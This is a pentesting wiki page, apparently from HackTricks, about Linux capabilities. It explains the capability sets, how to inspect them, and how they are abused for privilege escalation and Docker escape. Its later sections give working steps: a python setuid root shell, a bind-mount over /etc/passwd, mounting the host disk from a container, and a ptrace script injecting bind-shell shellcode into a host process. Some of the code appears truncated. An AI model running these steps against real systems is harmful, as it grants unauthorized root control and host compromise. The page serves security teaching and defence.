Linux Capabilities

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

​​​​​​​​​RootedCON is the most relevant cybersecurity event in Spain and one of the most important in Europe. With the mission of promoting technical knowledge, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.\

Linux Capabilities

Linux capabilities divide root privileges into smaller, distinct units, allowing processes to have a subset of privileges. This minimizes the risks by not granting full root privileges unnecessarily.

The Problem:

  • Normal users have limited permissions, affecting tasks like opening a network socket which requires root access.

Capability Sets:

  1. Inherited (CapInh):

    • Purpose: Determines the capabilities passed down from the parent process.

    • Functionality: When a new process is created, it inherits the capabilities from its parent in this set. Useful for maintaining certain privileges across process spawns.

    • Restrictions: A process cannot gain capabilities that its parent did not possess.

  2. Effective (CapEff):

    • Purpose: Represents the actual capabilities a process is utilizing at any moment.

    • Functionality: It's the set of capabilities checked by the kernel to grant permission for various operations. For files, this set can be a flag indicating if the file's permitted capabilities are to be considered effective.

    • Significance: The effective set is crucial for immediate privilege checks, acting as the active set of capabilities a process can use.

  3. Permitted (CapPrm):

    • Purpose: Defines the maximum set of capabilities a process can possess.

    • Functionality: A process can elevate a capability from the permitted set to its effective set, giving it the ability to use that capability. It can also drop capabilities from its permitted set.

    • Boundary: It acts as an upper limit for the capabilities a process can have, ensuring a process doesn't exceed its predefined privilege scope.

  4. Bounding (CapBnd):

    • Purpose: Puts a ceiling on the capabilities a process can ever acquire during its lifecycle.

    • Functionality: Even if a process has a certain capability in its inheritable or permitted set, it cannot acquire that capability unless it's also in the bounding set.

    • Use-case: This set is particularly useful for restricting a process's privilege escalation potential, adding an extra layer of security.

  5. Ambient (CapAmb):

    • Purpose: Allows certain capabilities to be maintained across an execve system call, which typically would result in a full reset of the process's capabilities.

    • Functionality: Ensures that non-SUID programs that don't have associated file capabilities can retain certain privileges.

    • Restrictions: Capabilities in this set are subject to the constraints of the inheritable and permitted sets, ensuring they don't exceed the process's allowed privileges.

# Code to demonstrate the interaction of different capability sets might look like this:
# Note: This is pseudo-code for illustrative purposes only.
def manage_capabilities(process):
    if process.has_capability('cap_setpcap'):
        process.add_capability_to_set('CapPrm', 'new_capability')

For further information check:

Processes & Binaries Capabilities

Processes Capabilities

To see the capabilities for a particular process, use the status file in the /proc directory. As it provides more details, let’s limit it only to the information related to Linux capabilities. Note that for all running processes capability information is maintained per thread, for binaries in the file system it’s stored in extended attributes.

You can find the capabilities defined in /usr/include/linux/capability.h

You can find the capabilities of the current process in cat /proc/self/status or doing capsh --print and of other users in /proc/<pid>/status

cat /proc/1234/status | grep Cap
cat /proc/$$/status | grep Cap #This will print the capabilities of the current process

This command should return 5 lines on most systems.

  • CapInh = Inherited capabilities

  • CapPrm = Permitted capabilities

  • CapEff = Effective capabilities

  • CapBnd = Bounding set

  • CapAmb = Ambient capabilities set

#These are the typical capabilities of a root owned process (all)
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

These hexadecimal numbers don’t make sense. Using the capsh utility we can decode them into the capabilities name.

capsh --decode=0000003fffffffff

Lets check now the capabilities used by ping:

cat /proc/9491/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000000000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

capsh --decode=0000000000003000

Although that works, there is another and easier way. To see the capabilities of a running process, simply use the getpcaps tool followed by its process ID (PID). You can also provide a list of process IDs.

getpcaps 1234

Lets check here the capabilities of tcpdump after having giving the binary enough capabilities (cap_net_admin and cap_net_raw) to sniff the network (tcpdump is running in process 9562):

#The following command give tcpdump the needed capabilities to sniff traffic
$ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump

$ getpcaps 9562
Capabilities for `9562': = cap_net_admin,cap_net_raw+ep

$ cat /proc/9562/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000003000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

$ capsh --decode=0000000000003000

As you can see the given capabilities corresponds with the results of the 2 ways of getting the capabilities of a binary. The getpcaps tool uses the capget() system call to query the available capabilities for a particular thread. This system call only needs to provide the PID to obtain more information.

Binaries Capabilities

Binaries can have capabilities that can be used while executing. For example, it's very common to find ping binary with cap_net_raw capability:

getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep

You can search binaries with capabilities using:

getcap -r / 2>/dev/null

Dropping capabilities with capsh

If we drop the CAP_NET_RAW capabilities for ping, then the ping utility should no longer work.

capsh --drop=cap_net_raw --print -- -c "tcpdump"

Besides the output of capsh itself, the tcpdump command itself should also raise an error.

/bin/bash: /usr/sbin/tcpdump: Operation not permitted

The error clearly shows that the ping command is not allowed to open an ICMP socket. Now we know for sure that this works as expected.

Remove Capabilities

You can remove capabilities of a binary with

setcap -r </path/to/binary>

User Capabilities

Apparently it's possible to assign capabilities also to users. This probably means that every process executed by the user will be able to use the users capabilities. Base on on this, this and this a few files new to be configured to give a user certain capabilities but the one assigning the capabilities to each user will be /etc/security/capability.conf. File example:

# Simple
cap_sys_ptrace               developer
cap_net_raw                  user1

# Multiple capablities
cap_net_admin,cap_net_raw    jrnetadmin
# Identical, but with numeric values
12,13                        jrnetadmin

# Combining names and numerics
cap_sys_admin,22,25          jrsysadmin

Environment Capabilities

Compiling the following program it's possible to spawn a bash shell inside an environment that provides capabilities.

 * Test program for the ambient capabilities
 * compile using:
 * gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
 * Set effective, inherited and permitted capabilities to the compiled binary
 * sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
 * To get a shell with additional caps that can be inherited do:
 * ./ambient /bin/bash

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/prctl.h>
#include <linux/capability.h>
#include <cap-ng.h>

static void set_ambient_cap(int cap) {
  int rc;
  rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
  if (rc) {
    printf("Cannot add inheritable cap\n");
  /* Note the two 0s at the end. Kernel checks for these */
  if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
    perror("Cannot set cap");
void usage(const char * me) {
  printf("Usage: %s [-c caps] new-program new-args\n", me);
int default_caplist[] = {
int * get_caplist(const char * arg) {
  int i = 1;
  int * list = NULL;
  char * dup = strdup(arg), * tok;
  for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) {
    list = realloc(list, (i + 1) * sizeof(int));
    if (!list) {
      perror("out of memory");
    list[i - 1] = atoi(tok);
    list[i] = -1;
  return list;
int main(int argc, char ** argv) {
  int rc, i, gotcaps = 0;
  int * caplist = NULL;
  int index = 1; // argv index for cmd to start
  if (argc < 2)
  if (strcmp(argv[1], "-c") == 0) {
    if (argc <= 3) {
    caplist = get_caplist(argv[2]);
    index = 3;
  if (!caplist) {
    caplist = (int * ) default_caplist;
  for (i = 0; caplist[i] != -1; i++) {
    printf("adding %d to ambient list\n", caplist[i]);
  printf("Ambient forking shell\n");
  if (execv(argv[index], argv + index))
    perror("Cannot exec");
  return 0;
gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
./ambient /bin/bash

Inside the bash executed by the compiled ambient binary it's possible to observe the new capabilities (a regular user won't have any capability in the "current" section).

capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip

You can only add capabilities that are present in both the permitted and the inheritable sets.

Capability-aware/Capability-dumb binaries

The capability-aware binaries won't use the new capabilities given by the environment, however the capability dumb binaries will use them as they won't reject them. This makes capability-dumb binaries vulnerable inside a special environment that grant capabilities to binaries.

Service Capabilities

By default a service running as root will have assigned all the capabilities, and in some occasions this may be dangerous. Therefore, a service configuration file allows to specify the capabilities you want it to have, and the user that should execute the service to avoid running a service with unnecessary privileges:


Capabilities in Docker Containers

By default Docker assigns a few capabilities to the containers. It's very easy to check which capabilities are these by running:

docker run --rm -it bash
	BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap

# Add a capabilities
docker run --rm -it --cap-add=SYS_ADMIN bash

# Add all capabilities
docker run --rm -it --cap-add=ALL bash

# Remove all and add only one
docker run --rm -it  --cap-drop=ALL --cap-add=SYS_PTRACE bash

​​​​​​​​​​RootedCON is the most relevant cybersecurity event in Spain and one of the most important in Europe. With the mission of promoting technical knowledge, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.

Privesc/Container Escape

Capabilities are useful when you want to restrict your own processes after performing privileged operations (e.g. after setting up chroot and binding to a socket). However, they can be exploited by passing them malicious commands or arguments which are then run as root.

You can force capabilities upon programs using setcap, and query these using getcap:

#Set Capability
setcap cap_net_raw+ep /sbin/ping

#Get Capability
getcap /sbin/ping
/sbin/ping = cap_net_raw+ep

The +ep means you’re adding the capability (“-” would remove it) as Effective and Permitted.

To identify programs in a system or folder with capabilities:

getcap -r / 2>/dev/null

Exploitation example

In the following example the binary /usr/bin/python2.6 is found vulnerable to privesc:

setcap cap_setuid+ep /usr/bin/python2.7
/usr/bin/python2.7 = cap_setuid+ep

/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'

Capabilities needed by tcpdump to allow any user to sniff packets:

setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
getcap /usr/sbin/tcpdump
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip

The special case of "empty" capabilities

From the docs: Note that one can assign empty capability sets to a program file, and thus it is possible to create a set-user-ID-root program that changes the effective and saved set-user-ID of the process that executes the program to 0, but confers no capabilities to that process. Or, simply put, if you have a binary that:

  1. is not owned by root

  2. has no SUID/SGID bits set

  3. has empty capabilities set (e.g.: getcap myelf returns myelf =ep)

then that binary will run as root.


CAP_SYS_ADMIN is a highly potent Linux capability, often equated to a near-root level due to its extensive administrative privileges, such as mounting devices or manipulating kernel features. While indispensable for containers simulating entire systems, CAP_SYS_ADMIN poses significant security challenges, especially in containerized environments, due to its potential for privilege escalation and system compromise. Therefore, its usage warrants stringent security assessments and cautious management, with a strong preference for dropping this capability in application-specific containers to adhere to the principle of least privilege and minimize the attack surface.

Example with binary

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_admin+ep

Using python you can mount a modified passwd file on top of the real passwd file:

cp /etc/passwd ./ #Create a copy of the passwd file
openssl passwd -1 -salt abc password #Get hash of "password"
vim ./passwd #Change roots passwords of the fake passwd file

And finally mount the modified passwd file on /etc/passwd:

from ctypes import *
libc = CDLL("")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/path/to/fake/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)

And you will be able to su as root using password "password".

Example with environment (Docker breakout)

You can check the enabled capabilities inside the docker container using:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)

Inside the previous output you can see that the SYS_ADMIN capability is enabled.

  • Mount

This allows the docker container to mount the host disk and access it freely:

fdisk -l #Get disk name
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

mount /dev/sda /mnt/ #Mount it
cd /mnt
chroot ./ bash #You have a shell inside the docker hosts disk
  • Full access

In the previous method we managed to access the docker host disk. In case you find that the host is running an ssh server, you could create a user inside the docker host disk and access it via SSH:

#Like in the example before, the first step is to mount the docker host disk
fdisk -l
mount /dev/sda /mnt/

#Then, search for open ports inside the docker host
nc -v -n -w2 -z 1-65535
(UNKNOWN) [] 2222 (?) open

#Finally, create a new user inside the docker host and use it to access via SSH
chroot /mnt/ adduser john
ssh john@ -p 2222


This means that you can escape the container by injecting a shellcode inside some process running inside the host. To access processes running inside the host the container needs to be run at least with --pid=host.

CAP_SYS_PTRACE grants the ability to use debugging and system call tracing functionalities provided by ptrace(2) and cross-memory attach calls like process_vm_readv(2) and process_vm_writev(2). Although powerful for diagnostic and monitoring purposes, if CAP_SYS_PTRACE is enabled without restrictive measures like a seccomp filter on ptrace(2), it can significantly undermine system security. Specifically, it can be exploited to circumvent other security restrictions, notably those imposed by seccomp, as demonstrated by proofs of concept (PoC) like this one.

Example with binary (python)

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# Structure defined in <sys/user.h>
class user_regs_struct(ctypes.Structure):
    _fields_ = [
        ("r15", ctypes.c_ulonglong),
        ("r14", ctypes.c_ulonglong),
        ("r13", ctypes.c_ulonglong),
        ("r12", ctypes.c_ulonglong),
        ("rbp", ctypes.c_ulonglong),
        ("rbx", ctypes.c_ulonglong),
        ("r11", ctypes.c_ulonglong),
        ("r10", ctypes.c_ulonglong),
        ("r9", ctypes.c_ulonglong),
        ("r8", ctypes.c_ulonglong),
        ("rax", ctypes.c_ulonglong),
        ("rcx", ctypes.c_ulonglong),
        ("rdx", ctypes.c_ulonglong),
        ("rsi", ctypes.c_ulonglong),
        ("rdi", ctypes.c_ulonglong),
        ("orig_rax", ctypes.c_ulonglong),
        ("rip", ctypes.c_ulonglong),
        ("cs", ctypes.c_ulonglong),
        ("eflags", ctypes.c_ulonglong),
        ("rsp", ctypes.c_ulonglong),
        ("ss", ctypes.c_ulonglong),
        ("fs_base", ctypes.c_ulonglong),
        ("gs_base", ctypes.c_ulonglong),
        ("ds", ctypes.c_ulonglong),
        ("es", ctypes.c_ulonglong),
        ("fs", ctypes.c_ulonglong),
        ("gs", ctypes.c_ulonglong),

libc = ctypes.CDLL("")


# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(
print("Injecting Shellcode at: " + hex(

# Shell code copied from exploit db.
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
    # Convert the byte to little endian.
    shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')